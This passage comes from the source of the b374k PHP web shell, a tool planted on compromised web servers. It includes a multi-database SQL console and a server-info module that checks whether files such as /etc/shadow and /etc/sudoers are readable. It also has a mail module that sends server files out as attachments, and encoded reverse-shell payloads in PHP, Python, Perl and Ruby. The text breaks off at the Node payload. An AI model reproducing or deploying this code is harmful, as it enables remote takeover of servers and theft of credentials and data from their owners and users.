<td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_disconnect();\\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class=\'strong\'>(</span> ; <span class=\'strong\'>)</span></td> </tr>\n</tfoot>\n</table>\n<div id=\'dbBottom\' style=\'display:none;\'>\n<br>\n<table class=\'border\' style=\'padding:0;\'><tr><td id=\'dbNav\' class=\'colFit borderright\' style=\'vertical-align:top;\'></td><td id=\'dbResult\' style=\'vertical-align:top;\'></td></tr></table>\n</div>\n"; if(!function_exists(\'sql_connect\')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists(\'mysql_connect\')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_connect\')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists(\'mssql_connect\')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pgsql\'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists(\'pg_connect\')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($sqlhost); } elseif($sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; }\n} if(!function_exists(\'sql_query\')){ function sql_query($sqltype, $query, $con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->query($query); elseif(function_exists(\'mysql_query\')) return mysql_query($query); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($con,$query); elseif(function_exists(\'mssql_query\')) return mssql_query($query); } elseif($sqltype == \'pgsql\') return pg_query($query); elseif($sqltype == \'oracle\') return oci_execute(oci_parse($con, $query)); elseif($sqltype == \'sqlite3\') return $con->query($query); elseif($sqltype == \'sqlite\') return sqlite_query($con, $query); elseif($sqltype == \'odbc\') return odbc_exec($con, $query); elseif($sqltype == \'pdo\') return $con->query($query); }\n} if(!function_exists(\'sql_num_rows\')){ function sql_num_rows($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->mysqli_num_rows; elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($result); elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($result); } elseif($sqltype == \'pgsql\') return pg_num_rows($result); elseif($sqltype == \'oracle\') return oci_num_rows($result); elseif($sqltype == \'sqlite3\'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata[\'count\']; } elseif($sqltype == \'sqlite\') return sqlite_num_rows($result); elseif($sqltype == \'odbc\') return odbc_num_rows($result); elseif($sqltype == \'pdo\') return $result->rowCount(); }\n} if(!function_exists(\'sql_num_fields\')){ function sql_num_fields($sqltype, $result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->field_count; elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($result); elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($result); } elseif($sqltype == \'pgsql\') return pg_num_fields($result); elseif($sqltype == \'oracle\') return oci_num_fields($result); elseif($sqltype == \'sqlite3\') return $result->numColumns(); elseif($sqltype == \'sqlite\') return sqlite_num_fields($result); elseif($sqltype == \'odbc\') return odbc_num_fields($result); elseif($sqltype == \'pdo\') return $result->columnCount(); }\n} if(!function_exists(\'sql_field_name\')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($result,$i); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_field_metadata\')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata[\'Name\']; } elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($result,$i); } elseif($sqltype == \'pgsql\') return pg_field_name($result,$i); elseif($sqltype == \'oracle\') return oci_field_name($result,$i+1); elseif($sqltype == \'sqlite3\') return $result->columnName($i); elseif($sqltype == \'sqlite\') return sqlite_field_name($result,$i); elseif($sqltype == \'odbc\') return odbc_field_name($result,$i+1); elseif($sqltype == \'pdo\'){ $res = $result->getColumnMeta($i); return $res[\'name\']; } }\n} if(!function_exists(\'sql_fetch_data\')){ function sql_fetch_data($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->fetch_row(); elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($result,1); elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($result); } elseif($sqltype == \'pgsql\') return pg_fetch_row($result); elseif($sqltype == \'oracle\') return oci_fetch_row($result); elseif($sqltype == \'sqlite3\') return $result->fetchArray(1); elseif($sqltype == \'sqlite\') return sqlite_fetch_array($result,1); elseif($sqltype == \'odbc\') return odbc_fetch_array($result); elseif($sqltype == \'pdo\') return $result->fetch(2); }\n} if(!function_exists(\'sql_close\')){ function sql_close($sqltype,$con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->close(); elseif(function_exists(\'mysql_close\')) return mysql_close($con); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($con); elseif(function_exists(\'mssql_close\')) return mssql_close($con); } elseif($sqltype == \'pgsql\') return pg_close($con); elseif($sqltype == \'oracle\') return oci_close($con); elseif($sqltype == \'sqlite3\') return $con->close(); elseif($sqltype == \'sqlite\') return sqlite_close($con); elseif($sqltype == \'odbc\') return odbc_close($con); elseif($sqltype == \'pdo\') return $con = null; }\n} if(!function_exists(\'sql_get_supported\')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = \'mysql\'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = \'mssql\'; if(function_exists("pg_connect")) $db_supported[] = \'pgsql\'; if(function_exists("oci_connect")) $db_supported[] = \'oracle\'; if(function_exists("sqlite_open")) $db_supported[] = \'sqlite\'; if(class_exists("SQLite3")) $db_supported[] = \'sqlite3\'; if(function_exists("odbc_connect")) $db_supported[] = \'odbc\'; if(class_exists("PDO")) $db_supported[] = \'pdo\'; return implode(",", $db_supported); }\n} if(isset($p[\'dbGetSupported\'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res);\n}\nelseif(isset($p[\'dbType\'])&&isset($p[\'dbHost\'])&&isset($p[\'dbUser\'])&&isset($p[\'dbPass\'])&&isset($p[\'dbPort\'])){ $type = $p[\'dbType\']; $host = $p[\'dbHost\']; $user = $p[\'dbUser\']; $pass = $p[\'dbPass\']; $port = $p[\'dbPort\']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p[\'dbQuery\'])){ $query = $p[\'dbQuery\']; $pagination = ""; if((isset($p[\'dbDB\']))&&(isset($p[\'dbTable\']))){ $db = trim($p[\'dbDB\']); $table = trim($p[\'dbTable\']); $start = (int) (isset($p[\'dbStart\']))? trim($p[\'dbStart\']):0; $limit = (int) (isset($p[\'dbLimit\']))? trim($p[\'dbLimit\']):100; if($type==\'mysql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type==\'mssql\'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type==\'pgsql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type==\'oracle\'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type==\'sqlite\' || $type==\'sqlite3\'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type=\'text\' id=\'dbLimit\' value=\'".html_safe($limit)."\' style=\'width:50px;\'> <span class=\'button\' onclick=\\"db_pagination(\'prev\');\\">prev</span> <span class=\'button\' onclick=\\"db_pagination(\'next\');\\">next</span> <input type=\'hidden\' id=\'dbDB\' value=\'".html_safe($db)."\'> <input type=\'hidden\' id=\'dbTable\' value=\'".html_safe($table)."\'> <input type=\'hidden\' id=\'dbStart\' value=\'".html_safe($start)."\'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> ok <span class=\'strong\'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class=\'border dataView sortable tblResult\'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> error <span class=\'strong\'>]</span></p>"; } } } } else{ if(($type!=\'pdo\') && ($type!=\'odbc\')){ if($type==\'mysql\') $showdb = "SHOW DATABASES"; elseif($type==\'mssql\') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type==\'pgsql\') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type==\'oracle\') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showdb = "SELECT \\"".$host."\\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type==\'mysql\') $showtbl = "SHOW TABLES FROM ".$db; elseif($type==\'mssql\') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = \'U\'"; elseif($type==\'pgsql\') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$db."\'"; elseif($type==\'oracle\') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$db."\'"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $showtbl = ""; $res .= "<p class=\'boxtitle boxNav\' style=\'padding:8px 32px;margin-bottom:4px;\'>".$db."</p><table class=\'border\' style=\'display:none;margin:8px 0;\'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class=\'dbTable borderbottom\' style=\'cursor:pointer;\'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output(\'error\');\n} ?><?php\n$GLOBALS[\'module\'][\'info\'][\'id\'] = "info";\n$GLOBALS[\'module\'][\'info\'][\'title\'] = "Info";\n$GLOBALS[\'module\'][\'info\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'info\'][\'content\'] = "<div class=\'border infoResult\'></div>"; if(!function_exists(\'info_getinfo\')){ function info_getinfo(){ $res = ""; $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_server\');\\" style=\'margin-bottom:8px;\'>Server Info</p>"; $res .= "<div id=\'info_server\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\\\\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \\"print \\$]\\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("\\n", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path=\'".html_safe($f)."\' onclick=\'view_entry(this);\'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_cpu\');\\" style=\'margin-bottom:8px;\'>CPU Info</p>"; $res .= "<div class=\'info\' id=\'info_cpu\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("\\n", $i_buffss); $res .= "<table class=\'dataView\'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_mem\');\\" style=\'margin-bottom:8px;\'>Memory Info</p>"; $i_buffs = explode("\\n", $i_buff); $res .= "<div class=\'info\' id=\'info_mem\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class=\'dataView\'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\\ +/", " ", $i_buff); $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_part\');\\" style=\'margin-bottom:8px;\'>Partitions Info</p>"; $res .= "<div class=\'info\' id=\'info_part\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); $res .= "<table class=\'dataView\'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("\\n", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style=\'text-align:center;\'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'".$i."\');\\" style=\'margin-bottom:8px;\'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class=\'boxtbl\' ", $body); $body = preg_replace("/<tr class=\\"h\\">(.*?)<\\/tr>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.php.net\\/(.*?)<\\/a>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.zend.com\\/(.*?)<\\/a>/", "", $body); $res .= "<div class=\'info\' id=\'".$i."\' style=\'margin-bottom:8px;display:none;\'>".$body."</div>"; } } $res .= "<span class=\'button colSpan\' onclick=\\"info_refresh();\\" style=\'margin-bottom:8px;\'>refresh</span><div style=\'clear:both;\'></div>"; return $res; }\n} if(isset($p[\'infoRefresh\'])){ output(info_getinfo());\n} ?><?php\n$GLOBALS[\'module\'][\'mail\'][\'id\'] = "mail";\n$GLOBALS[\'module\'][\'mail\'][\'title\'] = "Mail";\n$GLOBALS[\'module\'][\'mail\'][\'js_ontabselected\'] = "if(!portableMode) $(\'#mailFrom\').focus();";\n$GLOBALS[\'module\'][\'mail\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Mail</p></th></tr>\n</thead>\n<tbody id=\'mailTBody\'> <tr><td style=\'width:120px\'>From</td><td colspan=\'2\'><input type=\'text\' id=\'mailFrom\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>To</td><td><input type=\'text\' id=\'mailTo\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>Subject</td><td><input type=\'text\' id=\'mailSubject\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr>\n</tbody>\n<tfoot> <tr><td colspan=\'2\'><textarea id=\'mailContent\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr> <td colspan=\'2\'><span style=\'width:120px;\' class=\'button\' onclick=\\"mail_send();\\">send</span> <span style=\'width:120px;\' class=\'button\' onclick=\\"mail_attach();\\">attachment</span> </td> </tr> <tr><td colspan=\'2\'><span id=\'mailResult\'></span></td></tr>\n</tfoot>\n</table>\n"; if(!function_exists(\'send_email\')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0\\r\\n".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\\"".$rand."\\"\\r\\n\\r\\n"; $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: text/html; charset=\\"UTF-8\\"\\r\\nContent-Transfer-Encoding: 8bit\\r\\n\\r\\n"; $headers .= $msg."\\r\\n\\r\\n"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: application/octet-stream; name=\\"".basename($file)."\\"\\r\\n"; $headers .= "Content-Transfer-Encoding: base64\\r\\n"; $headers .= "Content-Disposition: attachment\\r\\n\\r\\n"; $headers .= $content."\\r\\n\\r\\n"; } } } $headers .= "--".$rand."--\\r\\n"; if(@mail($to, $subject, "", $headers)) return true; return false; }\n} if(isset($p[\'mailFrom\'])&&isset($p[\'mailTo\'])&&isset($p[\'mailSubject\'])&&isset($p[\'mailContent\'])){ $mailFrom = trim($p[\'mailFrom\']); $mailTo = trim($p[\'mailTo\']); $mailSubject = trim($p[\'mailSubject\']); $mailContent = trim($p[\'mailContent\']); $mailAttachment = trim($p[\'mailAttachment\']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p[\'mailAttachment\']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."\\r\\nReply-To: ".$mailFrom."\\r\\n"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail");\n} ?><?php\n$server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";\n$remote_addr = isset($_SERVER[\'REMOTE_ADDR\'])? $_SERVER[\'REMOTE_ADDR\']:"";\n$default_port = 13123;\n$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS[\'resources\'][\'rs_php\'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";\n$GLOBALS[\'resources\'][\'rs_python\'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";\n$GLOBALS[\'resources\'][\'rs_perl\'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";\n$GLOBALS[\'resources\'][\'rs_ruby\'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\n$GLOBALS[\'resources\'][\'rs_node\'] = 